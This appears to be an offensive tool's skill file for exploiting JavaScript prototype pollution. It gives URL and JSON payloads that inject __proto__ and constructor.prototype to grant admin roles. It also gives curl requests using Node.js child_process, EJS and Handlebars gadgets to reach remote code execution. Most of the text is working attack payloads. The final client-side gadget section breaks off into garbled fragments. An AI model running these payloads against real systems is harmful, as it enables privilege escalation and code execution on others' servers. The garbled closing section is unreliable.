attack-prototype-pollution

name	attack-prototype-pollution
description	JavaScript prototype pollution — __proto__ injection, constructor.prototype, gadget chain exploitation
category	web-application
version	1.0
author	cyberstrike-official
tags	["prototype-pollution","javascript","web","xss","attack"]
tech_stack	["javascript","nodejs","web"]
cwe_ids	["CWE-1321"]
chains_with	["attack-ssti"]
prerequisites	[]
severity_boost	{"attack-ssti":"Prototype pollution → SSTI gadgets = RCE"}

Prototype Pollution

Objective

Exploit JavaScript prototype pollution to modify Object.prototype, leading to XSS, privilege escalation, or RCE via gadget chains.

Testing Methodology

Phase 1: Client-Side Detection

URL-based pollution:

https://TARGET/?__proto__[polluted]=1
https://TARGET/?__proto__.polluted=1
https://TARGET/?constructor[prototype][polluted]=1
https://TARGET/#__proto__[polluted]=1

Verify in browser console:

console.log(({}).polluted) // Should print "1" if vulnerable

Phase 2: JSON Body Pollution

# Merge/patch endpoints
curl -X POST https://TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

curl -X PATCH https://TARGET/api/user/profile \
  -d '{"constructor": {"prototype": {"role": "admin"}}}'

# Nested object merge
curl -X PUT https://TARGET/api/config \
  -d '{"a": {"__proto__": {"polluted": true}}}'

Phase 3: Server-Side Detection (Node.js)

# RCE via child_process gadget
curl -X POST https://TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require(\"child_process\").execSync(\"id\").toString())", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template gadget
curl -X POST https://TARGET/api/settings \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id\");s"}}'

# Handlebars gadget
curl -X POST https://TARGET/api/settings \
  -d '{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "params": [], "path": {"type": "PathExpression", "original": "constructor"}}]}}'

Phase 4: Client-Side Gadgets

Common DOM gadgets when Object.prototype is polluted:

// innerHTML gadget
Object.. = 


.. = 


.. = 


.[] =